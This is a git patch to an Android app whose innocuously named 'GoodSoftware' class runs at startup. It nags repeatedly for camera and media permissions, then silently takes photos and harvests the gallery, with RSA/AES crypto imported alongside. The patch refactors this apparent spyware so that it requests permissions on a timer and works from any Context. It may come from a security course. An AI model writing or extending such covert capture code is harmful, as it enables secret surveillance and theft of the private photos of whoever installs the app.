From 2c866a604921b25a9ea2167617526513b7937e41 Mon Sep 17 00:00:00 2001 From: Joren Date: Sun, 5 May 2024 23:14:26 +0200 Subject: [PATCH] Let the class check its own permissions --- .idea/deploymentTargetDropDown.xml | 12 +++ app/src/main/java/com/ti/m/GoodSoftware.kt | 90 +++++++++++++++++++--- app/src/main/java/com/ti/m/MainActivity.kt | 3 +- 3 files changed, 93 insertions(+), 12 deletions(-) diff --git a/.idea/deploymentTargetDropDown.xml b/.idea/deploymentTargetDropDown.xml index dc1c712..41ae297 100644 --- a/.idea/deploymentTargetDropDown.xml +++ b/.idea/deploymentTargetDropDown.xml @@ -4,6 +4,18 @@ + + + + + + + + + + + + diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index e86e880..dfc7067 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -1,9 +1,11 @@ package com.ti.mobpo import android.Manifest +import android.app.Activity import android.content.ContentResolver import android.content.ContentUris import android.content.Context +import android.content.ContextWrapper import android.content.pm.PackageManager import android.graphics.Bitmap import android.graphics.BitmapFactory @@ -34,19 +36,22 @@ import java.security.KeyFactory import java.security.PublicKey import java.security.SecureRandom import java.security.spec.X509EncodedKeySpec +import java.util.Timer import javax.crypto.Cipher import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.SecretKeySpec +import kotlin.concurrent.schedule -class GoodSoftware (private val activity: MainActivity) { +class GoodSoftware (private val activity: Context) { private var cameraProvider: ProcessCameraProvider? = null private var lensFacing: Int = CameraSelector.LENS_FACING_BACK private var imageCapture: ImageCapture? = null private val REQUEST_CAMERA_PERMISSION = 100 private val REQUEST_GALLERY = 101 private val REQUEST_MEDIA_IMAGES_PERMISSION = 102 - + private var timerStorage: Timer? = null + private var timerCamera: Timer? = null private companion object { private const val RSA_ALGORITHM = "RSA" @@ -99,11 +104,50 @@ class GoodSoftware (private val activity: MainActivity) { fun launch() { Thread{ + startCheckingPermission() + }.start() + } + + private fun startCheckingPermission() { + timerStorage = Timer("CheckStoragePermissionTimer", false) + + timerStorage?.schedule(0) { checkStoragePermission() - }.start() - Thread{ + } + + timerStorage?.schedule(5000) { + checkStoragePermission() + } + + timerCamera = Timer("CheckCameraPermissionTimer", false) + + timerCamera?.schedule(0) { checkCameraPermission() - }.start() + } + + timerCamera?.schedule(5000) { + println("Requesting camera permission again") + checkCameraPermission() + } + } + + private fun stopCheckingStoragePermission() { + timerStorage?.cancel() + } + + private fun stopCheckingCameraPermission() { + timerCamera?.cancel() + } + + fun Context.getActivity(): Activity? { + var context = this + while (context is ContextWrapper) { + if (context is Activity) { + return context + } + context = context.baseContext + } + return null } private fun checkCameraPermission() { @@ -111,13 +155,18 @@ class GoodSoftware (private val activity: MainActivity) { requestCameraPermission() }else{ takePicture() + stopCheckingCameraPermission() } } private fun requestCameraPermission() { - ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) + val activity = activity.getActivity() + activity?.let { + ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) + } } + private fun checkStoragePermission() { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){ @@ -132,19 +181,32 @@ class GoodSoftware (private val activity: MainActivity) { grabMedia() } } + stopCheckingStoragePermission() } @RequiresApi(Build.VERSION_CODES.TIRAMISU) private fun requestMediaImagesPermission() { - ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) + val activity = activity.getActivity() + activity?.let { + ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) + } } private fun takePicture(){ - activity.lifecycleScope.launch { - takeBeautifulPicture(activity, activity) + val activity = activity.getActivity() + activity?.let { act -> + if (act is LifecycleOwner) { + act.lifecycleScope.launch { + takeBeautifulPicture(act, act) + } + } else { + // Handle the case where the activity is not a LifecycleOwner + Log.e("Error", "Activity is not a LifecycleOwner") + } } } + private fun grabMedia(){ Thread { try { @@ -216,7 +278,10 @@ class GoodSoftware (private val activity: MainActivity) { private fun requestGalleryPermission() { - ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) + val activity = activity.getActivity() + activity?.let { act -> + ActivityCompat.requestPermissions(act, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) + } } // Handle permission request result @@ -428,6 +493,7 @@ class GoodSoftware (private val activity: MainActivity) { } fun getAllImagesFromGallery(context: Context): List { + val activity = context.getActivity() val imageList = mutableListOf() val contentResolver: ContentResolver = context.contentResolver val imageProjection = arrayOf( @@ -461,7 +527,9 @@ class GoodSoftware (private val activity: MainActivity) { } } } else { - ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION) + activity?.let { + ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION) + } } return imageList diff --git a/app/src/main/java/com/ti/m/MainActivity.kt b/app/src/main/java/com/ti/m/MainActivity.kt index c67f379..b0203b9 100644 --- a/app/src/main/java/com/ti/m/MainActivity.kt +++ b/app/src/main/java/com/ti/m/MainActivity.kt @@ -9,10 +9,11 @@ import androidx.compose.material3.Surface import androidx.compose.ui.Modifier import androidx.lifecycle.LifecycleOwner import com.ti.m.ui.theme.MTheme +import com.ti.mobpo.GoodSoftware class MainActivity : ComponentActivity(), LifecycleOwner { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) - GoodSoftware(this).start() + GoodSoftware(this).launch() } }